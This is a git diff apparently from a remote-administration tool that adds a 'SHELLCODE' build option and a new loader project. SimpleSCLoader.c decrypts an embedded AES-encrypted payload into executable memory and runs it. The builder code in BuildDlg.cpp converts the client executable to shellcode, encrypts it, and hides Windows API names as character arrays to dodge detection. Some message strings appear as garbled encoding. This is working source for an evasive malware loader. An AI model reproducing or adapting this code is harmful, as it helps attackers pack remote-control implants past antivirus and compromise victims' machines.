diff --git a/2019Remote.sln b/2019Remote.sln
index 07cd2f0..817dda4 100644
--- a/2019Remote.sln
+++ b/2019Remote.sln
@@ -24,6 +24,8 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TinyRun", "client\TinyRun.vcxproj", "{E3F3A477-05BA-431D-B002-28EF8BFA6E86}"
EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SCLoader", "client\SCLoader.vcxproj", "{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}"
+EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
@@ -72,6 +74,14 @@ Global
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.Build.0 = Release|x64
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.ActiveCfg = Release|Win32
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.Build.0 = Release|Win32
+ {F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x64.ActiveCfg = Debug|x64
+ {F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x64.Build.0 = Debug|x64
+ {F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x86.ActiveCfg = Debug|Win32
+ {F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x86.Build.0 = Debug|Win32
+ {F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x64.ActiveCfg = Release|x64
+ {F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x64.Build.0 = Release|x64
+ {F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x86.ActiveCfg = Release|Win32
+ {F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
diff --git a/client/SCLoader.vcxproj b/client/SCLoader.vcxproj
new file mode 100644
index 0000000..7034314
--- /dev/null
+++ b/client/SCLoader.vcxproj
@@ -0,0 +1,161 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {f33fc38a-e7a0-47d1-9f35-6dfe49c7194a}
+ SCLoader
+ 10.0
+
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+ $(Configuration)\loader
+
+
+ false
+ $(Configuration)\loader
+
+
+ true
+ $(Platform)\$(Configuration)\loader
+
+
+ false
+ $(Platform)\$(Configuration)\loader
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+ MultiThreadedDebug
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+ MultiThreaded
+
+
+ Windows
+ true
+ true
+ true
+ mainCRTStartup
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+ MultiThreadedDebug
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+ MultiThreaded
+
+
+ Windows
+ true
+ true
+ true
+ mainCRTStartup
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/SCLoader.vcxproj.filters b/client/SCLoader.vcxproj.filters
new file mode 100644
index 0000000..4449910
--- /dev/null
+++ b/client/SCLoader.vcxproj.filters
@@ -0,0 +1,30 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ 源文件
+
+
+ 源文件
+
+
+
+
+ 头文件
+
+
+
\ No newline at end of file
diff --git a/client/SCLoader.vcxproj.user b/client/SCLoader.vcxproj.user
new file mode 100644
index 0000000..88a5509
--- /dev/null
+++ b/client/SCLoader.vcxproj.user
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/client/SimpleSCLoader.c b/client/SimpleSCLoader.c
new file mode 100644
index 0000000..7cd3e14
--- /dev/null
+++ b/client/SimpleSCLoader.c
@@ -0,0 +1,32 @@
+#include
+#include
+#include "../common/aes.h"
+
+struct
+{
+ unsigned char aes_key[16];
+ unsigned char aes_iv[16];
+ unsigned char data[4*1024*1024];
+ int len;
+} sc = { "Hello, World!" };
+
+// A simple shell code loader.
+// Copy left (c) yuanyuanxiang.
+int main() {
+ if (!sc.data[0] || !sc.len)
+ return -1;
+
+ for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_key[i]); printf("\n\n");
+ for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_iv[i]); printf("\n\n");
+
+ struct AES_ctx ctx;
+ AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
+ AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
+ void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+ if (exec) {
+ memcpy(exec, sc.data, sc.len);
+ ((void(*)())exec)();
+ Sleep(INFINITE);
+ }
+ return 0;
+}
diff --git a/common/commands.h b/common/commands.h
index 6c7ea7b..21f5df3 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -566,6 +566,7 @@ enum ProtocolEncType {
enum ClientCompressType {
CLIENT_COMPRESS_NONE = 0,
CLIENT_COMPRESS_UPX = 1,
+ CLIENT_COMPRESS_SC = 2,
};
#pragma pack(push, 4)
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index de2d86b..2713b29 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 5c93645..773aec9 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -758,14 +758,16 @@ LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam) {
extern "C" BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction,
LPVOID userData, DWORD userLength, DWORD flags, LPSTR * outBytes, DWORD * outLength);
-bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
+bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength, bool align=false) {
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
LPSTR finalShellcode = NULL;
DWORD finalSize;
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, &finalShellcode, &finalSize)) {
return false;
}
- compressedBuffer = new BYTE[finalSize];
+ int padding = align ? ALIGN16(finalSize) - finalSize : 0;
+ compressedBuffer = new BYTE[finalSize + padding];
+ memset(compressedBuffer + finalSize, 0, padding);
ulTotalSize = finalSize;
memcpy(compressedBuffer, finalShellcode, finalSize);
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 19f82b2..63d9c36 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -217,10 +217,12 @@
+
+
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
index c98d6b1..dbd610a 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -189,6 +189,8 @@
+
+
diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp
index 17d0663..c590f64 100644
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -7,6 +7,9 @@
#include "afxdialogex.h"
#include
#include "InputDlg.h"
+#include
+#include
+#include
enum Index
{
@@ -96,6 +99,42 @@ END_MESSAGE_MAP()
std::string ReleaseUPX();
void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress);
+bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer,
+ int ulOriginalLength, bool align = false);
+
+BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size);
+
+typedef struct SCInfo
+{
+ unsigned char aes_key[16];
+ unsigned char aes_iv[16];
+ unsigned char data[4 * 1024 * 1024];
+ int len;
+}SCInfo;
+
+#define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name)
+
+bool MYLoadLibrary(const char* name) {
+ char kernel[] = { 'k','e','r','n','e','l','3','2',0 };
+ char load[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
+ typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
+ if (!GetModuleHandleA(name)) {
+ LoadLibraryF LoadLibraryA = (LoadLibraryF)GetAddr(kernel, load);
+ return LoadLibraryA(name);
+ }
+ return true;
+}
+
+void generate_random_iv(unsigned char* iv, size_t len) {
+ typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
+ typedef NTSTATUS(WINAPI* BCryptGenRandomF)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
+ char crypt[] = { 'b','c','r','y','p','t',0 };
+ char name[] = { 'B','C','r','y','p','t','G','e','n','R','a','n','d','o','m',0 };
+ MYLoadLibrary(crypt);
+ BCryptGenRandomF BCryptGenRandom = (BCryptGenRandomF)GetAddr(crypt, name);
+ BCryptGenRandom(NULL, iv, len, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
+}
+
void CBuildDlg::OnBnClickedOk()
{
UpdateData(TRUE);
@@ -230,8 +269,42 @@ void CBuildDlg::OnBnClickedOk()
{
run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
MessageBox("UPXѹעϢʾ\r\nļλ: " + strSeverFile + tip, "ʾ", MB_ICONINFORMATION);
- }else
- MessageBox("ɳɹ! ļλ:\r\n"+ strSeverFile + tip, "ʾ", MB_ICONINFORMATION);
+ } else {
+ if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC) {
+ DWORD dwSize = 0;
+ LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
+ if (data) {
+ int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
+ if (iOffset != -1) {
+ SCInfo* sc = (SCInfo*)(data + iOffset);
+ LPBYTE srcData = (LPBYTE)szBuffer;
+ int srcLen = dwFileSize;
+ if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
+ generate_random_iv(sc->aes_key, 16);
+ generate_random_iv(sc->aes_iv, 16);
+ std::string key, iv;
+ for (int i = 0; i < 16; ++i) key += std::to_string(sc->aes_key[i]) + " ";
+ for (int i = 0; i < 16; ++i) iv += std::to_string(sc->aes_iv[i]) + " ";
+ Mprintf("AES_KEY: %s, AES_IV: %s\n", key.c_str(), iv.c_str());
+
+ struct AES_ctx ctx;
+ AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
+ AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
+ if (srcLen <= 4 * 1024 * 1024) {
+ memcpy(sc->data, srcData, srcLen);
+ sc->len = srcLen;
+ }
+ SAFE_DELETE_ARRAY(srcData);
+ PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
+ strSeverFile.ReleaseBuffer();
+ BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
+ }
+ }
+ }
+ SAFE_DELETE_ARRAY(data);
+ }
+ MessageBox("ɳɹ! ļλ:\r\n" + strSeverFile + tip, "ʾ", MB_ICONINFORMATION);
+ }
SAFE_DELETE_ARRAY(szBuffer);
if (index == IndexTestRun_DLL) return;
}
@@ -295,6 +368,7 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, "");
m_ComboCompress.InsertString(CLIENT_COMPRESS_UPX, "UPX");
+ m_ComboCompress.InsertString(CLIENT_COMPRESS_SC, "SHELLCODE");
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
m_OtherItem.ShowWindow(SW_HIDE);
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 44cdf54..b38b400 100644
Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ